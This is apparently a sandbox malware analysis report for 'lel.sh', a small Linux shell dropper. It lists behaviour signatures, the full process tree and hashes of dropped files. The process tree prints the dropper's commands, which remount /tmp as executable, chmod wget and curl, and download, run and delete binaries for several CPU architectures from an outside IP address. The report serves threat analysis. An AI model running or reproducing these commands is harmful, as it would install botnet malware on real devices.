Analysis

  • max time kernel
    39s
  • max time network
    67s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/09/2026, 09:32

General

  • Target
    lel.sh
  • Size 1KB
  • Sample260925-lhzexsysfx
  • SHA256 97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Contacts a large (6152) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Changes its process name 1 IoCs
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lel.sh
    /tmp/lel.sh
    1⤵
    • Executes dropped EXE
    PID:725
    • /bin/mount
      mount -t tmpfs tmpfs /var/run
      2⤵
      • Reads runtime system information
      PID:727
    • /bin/mount
      mount -o "remount,rw,exec" /var/run
      2⤵
      • Reads runtime system information
      PID:730
    • /bin/mount
      mount -o "remount,rw,exec" /tmp
      2⤵
      • Reads runtime system information
      PID:735
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:737
    • /bin/chmod
      chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
      2⤵
      • File and Directory Permissions Modification
      PID:739
    • /usr/bin/wget
      wget http://143.20.185.213/x64s
      2⤵
      • Writes file to tmp directory
      PID:741
    • /usr/bin/curl
      curl -O http://143.20.185.213/x64s
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:754
    • /bin/chmod
      chmod +x busybox lel.sh systemd-private-fa3713049f734d2e9f885c80b9c363ad-systemd-timedated.service-MGFfqj x64s
      2⤵
      • File and Directory Permissions Modification
      PID:760
    • /tmp/x64s
      ./x64s x64s
      2⤵
        PID:761
      • /bin/rm
        rm -rf x64s
        2⤵
          PID:766
        • /bin/chmod
          chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
          2⤵
          • File and Directory Permissions Modification
          PID:767
        • /usr/bin/wget
          wget http://143.20.185.213/mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:768
        • /usr/bin/curl
          curl -O http://143.20.185.213/mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:769
        • /bin/chmod
          chmod +x busybox lel.sh mips
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/mips
          ./mips mips
          2⤵
          • Renames itself
          • Changes its process name
          • System Network Configuration Discovery
          PID:771
        • /bin/rm
          rm -rf mips
          2⤵
          • System Network Configuration Discovery
          PID:773
        • /bin/chmod
          chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
          2⤵
          • File and Directory Permissions Modification
          PID:776
        • /usr/bin/wget
          wget http://143.20.185.213/mpsl
          2⤵
            PID:777
          • /usr/bin/curl
            curl -O http://143.20.185.213/mpsl
            2⤵
              PID:778
            • /bin/chmod
              chmod +x busybox lel.sh libcow.so
              2⤵
              • File and Directory Permissions Modification
              PID:780
            • /tmp/mpsl
              ./mpsl mpsl
              2⤵
                PID:781
              • /bin/rm
                rm -rf mpsl
                2⤵
                  PID:782
                • /bin/chmod
                  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:783
                • /usr/bin/wget
                  wget http://143.20.185.213/armv7
                  2⤵
                    PID:784
                  • /usr/bin/curl
                    curl -O http://143.20.185.213/armv7
                    2⤵
                      PID:785
                    • /bin/chmod
                      chmod +x busybox lel.sh libcow.so
                      2⤵
                      • File and Directory Permissions Modification
                      PID:786
                    • /tmp/armv7
                      ./armv7 armv7
                      2⤵
                        PID:787
                      • /bin/rm
                        rm -rf armv7
                        2⤵
                          PID:788
                        • /bin/chmod
                          chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                          2⤵
                          • File and Directory Permissions Modification
                          PID:789
                        • /usr/bin/wget
                          wget http://143.20.185.213/armv5
                          2⤵
                            PID:790
                          • /usr/bin/curl
                            curl -O http://143.20.185.213/armv5
                            2⤵
                              PID:791
                            • /bin/chmod
                              chmod +x busybox lel.sh libcow.so
                              2⤵
                              • File and Directory Permissions Modification
                              PID:792
                            • /tmp/armv5
                              ./armv5 armv5
                              2⤵
                                PID:793
                              • /bin/rm
                                rm -rf armv5
                                2⤵
                                  PID:794
                                • /bin/chmod
                                  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:796
                                • /usr/bin/wget
                                  wget http://143.20.185.213/aarch64
                                  2⤵
                                    PID:797
                                  • /usr/bin/curl
                                    curl -O http://143.20.185.213/aarch64
                                    2⤵
                                      PID:798
                                    • /bin/chmod
                                      chmod +x busybox lel.sh libcow.so
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:799
                                    • /tmp/aarch64
                                      ./aarch64 aarch64
                                      2⤵
                                        PID:800
                                      • /bin/rm
                                        rm -rf aarch64
                                        2⤵
                                          PID:802

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

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                                            Downloads

                                            busybox

                                            • Path /tmp/busybox
                                            • Size 857KB
                                            • SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            mips

                                            • Path /tmp/mips
                                            • Size 837KB
                                            • SHA256 87636741a0c01869a100e6d9d396eafe24d8392cd543af30f07d9c28291be1ce
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            x64s

                                            • Path /tmp/x64s
                                            • Size 951KB
                                            • SHA256 2aabae20e3321ad0e102a7a3fcf546115a310710110712dad7b43127fa0eb6b0
                                            • MD5 SHA1 SHA512 SSDEEP TLSH